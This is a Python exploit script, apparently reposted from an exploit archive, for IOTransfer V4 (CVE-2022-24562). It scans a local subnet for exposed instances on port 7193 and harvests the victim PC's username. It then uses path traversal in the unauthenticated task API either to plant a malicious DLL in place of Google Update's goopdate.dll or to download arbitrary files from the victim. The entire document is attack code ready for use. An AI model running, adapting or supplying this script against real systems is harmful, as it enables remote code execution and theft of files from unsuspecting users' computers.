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## https://sploitus.com/exploit?id=PACKETSTORM:167775
# Exploit Title: IOTransfer V4 โ€“ Remote Code Execution (RCE)  
# Date: 06/22/2022  
# Exploit Author: Tomer Peled  
# Vendor Homepage: https://www.iobit.com  
# Software Link: https://iotransfer.itopvpn.com/  
# Version: V4 and onward  
# Tested on: Windows 10  
# CVE : 2022-24562  
# References: https://github.com/tomerpeled92/CVE/tree/main/CVE-2022%E2%80%9324562  
  
import os  
from urllib3.exceptions import ConnectTimeoutError  
from win32com.client import *  
import requests  
import json  
  
localPayloadPath = r"c:\temp\malicious.dll"  
remotePayloadPath="../Program Files (x86)/Google/Update/goopdate.dll"  
remoteDownloadPath = r'C:\Users\User\Desktop\obligationservlet.pdf'  
Range = "192.168.89"  
UpOrDown="Upload"  
IP = ""  
UserName = ""  
  
def get_version_number(file_path):  
information_parser = Dispatch("Scripting.FileSystemObject")  
version = information_parser.GetFileVersion(file_path)  
return version  
  
  
def getTaskList(IP, taskid=""):  
print("Getting task list...")  
url = f'http://{IP}:7193/index.php?action=gettasklist&userid=*'  
res = requests.get(url)  
tasks = json.loads(res.content)  
tasks = json.loads(tasks['content'])  
for task in tasks['tasks']:  
if taskid == task['taskid']:  
print(f"Task ID found: {taskid}")  
  
  
def CreateUploadTask(IP):  
SetSavePath(IP)  
url = f'http://{IP}:7193/index.php?action=createtask'  
task = {  
'method': 'get',  
'version': '1',  
'userid': '*',  
'taskstate': '0',  
}  
res = requests.post(url, json=task)  
task = json.loads(res.content)  
task = json.loads(task['content'])  
taskid = task['taskid']  
print(f"[*] TaskID: {taskid}")  
return taskid  
  
  
def CreateUploadDetailNode(IP, taskid, remotePath, size='100'):  
url = f'http://{IP}:7193/index.php?action=settaskdetailbyindex&userid=*&taskid={taskid}&index=0'  
file_info = {  
'size': size,  
'savefilename': remotePath,  
'name': remotePath,  
'fullpath': r'c:\windows\system32\calc.exe',  
'md5': 'md5md5md5md5md5',  
'filetype': '3',  
}  
res = requests.post(url, json=file_info)  
js = json.loads(res.content)  
print(f"[V] Create Detail returned: {js['code']}")  
  
  
def readFile(Path):  
file = open(Path, "rb")  
byte = file.read(1)  
next = "Start"  
while next != b'':  
byte = byte + file.read(1023)  
next = file.read(1)  
if next != b'':  
byte = byte + next  
file.close()  
return byte  
  
  
def CallUpload(IP, taskid, localPayloadPath):  
url = f'http://{IP}:7193/index.php?action=newuploadfile&userid=*&taskid={taskid}&index=0'  
send_data = readFile(localPayloadPath)  
try:  
res = requests.post(url, data=send_data)  
js = json.loads(res.content)  
if js['code'] == 200:  
print("[V] Success payload uploaded!")  
else:  
print(f"CreateRemoteFile: {res.content}")  
except:  
print("[*] Reusing the task...")  
res = requests.post(url, data=send_data)  
js = json.loads(res.content)  
if js['code'] == 200 or "false" in js['error']:  
print("[V] Success payload uploaded!")  
else:  
print(f"[X] CreateRemoteFile Failed: {res.content}")  
  
  
def SetSavePath(IP):  
url = f'http://{IP}:7193/index.php?action=setiotconfig'  
config = {  
'tasksavepath': 'C:\\Program '  
}  
requests.post(url, json=config)  
  
def ExploitUpload(IP,payloadPath,rPath,taskid =None):  
if not taskid:  
taskid = CreateUploadTask(IP)  
size = os.path.getsize(payloadPath)  
CreateUploadDetailNode(IP, taskid, remotePath=rPath, size=str(size))  
CallUpload(IP, taskid, payloadPath)  
  
  
def CreateDownloadTask(IP, Path) -> str:  
url = f'http://{IP}:7193/index.php?action=createtask'  
task = {  
'method': 'get',  
'version': '1',  
'userid': '*',  
'taskstate': '0',  
'filepath': Path  
}  
res = requests.post(url, json=task)  
task = json.loads(res.content)  
task = json.loads(task['content'])  
taskid = task['taskid']  
print(f"TaskID: {taskid}")  
return taskid  
  
  
def ExploitDownload(IP, DownloadPath, ID=None):  
if ID:  
url = f'http://{IP}:7193/index.php?action=downloadfile&userid=*&taskid={ID}'  
else:  
taskid = CreateDownloadTask(IP, DownloadPath)  
url = f'http://{IP}:7193/index.php?action=downloadfile&userid=*&taskid={taskid}'  
res = requests.get(url)  
return res  
  
def ScanIP(startRange):  
print("[*] Searching for vulnerable IPs", end='')  
Current = 142  
IP = f"{startRange}.{Current}"  
VulnerableIP: str = ""  
UserName: str = ""  
while Current < 252:  
print(".", end='')  
url = f'http://{IP}:7193/index.php?action=getpcname&userid=*'  
try:  
res = requests.get(url, timeout=1)  
js = json.loads(res.content)  
js2 = json.loads(js['content'])  
UserName = js2['name']  
VulnerableIP=IP  
print(f"\n[V] Found a Vulnerable IP: {VulnerableIP}")  
print(f"[!] Vulnerable PC username: {UserName}")  
return VulnerableIP,UserName  
except Exception as e:  
pass  
except ConnectTimeoutError:  
pass  
IP = f"{startRange}.{Current}"  
Current = Current + 1  
return None,None  
  
  
if __name__ == '__main__':  
IP,UserName = ScanIP(Range)  
if IP is None or UserName is None:  
print("[X] No vulnerable IP found")  
exit()  
print("[*] Starting Exploit...")  
if UpOrDown == "Upload":  
print(f"[*]Local Payload Path: {localPayloadPath}")  
print(f"[*]Remote Upload Path: {remotePayloadPath}")  
ExploitUpload(IP,localPayloadPath,remotePayloadPath)  
elif UpOrDown == "Download":  
print(f"[*] Downloading the file: {remoteDownloadPath}")  
res = ExploitDownload(IP, remoteDownloadPath)  
file = open("out.pdf", "wb+")  
file.write(res.content)  
file.close()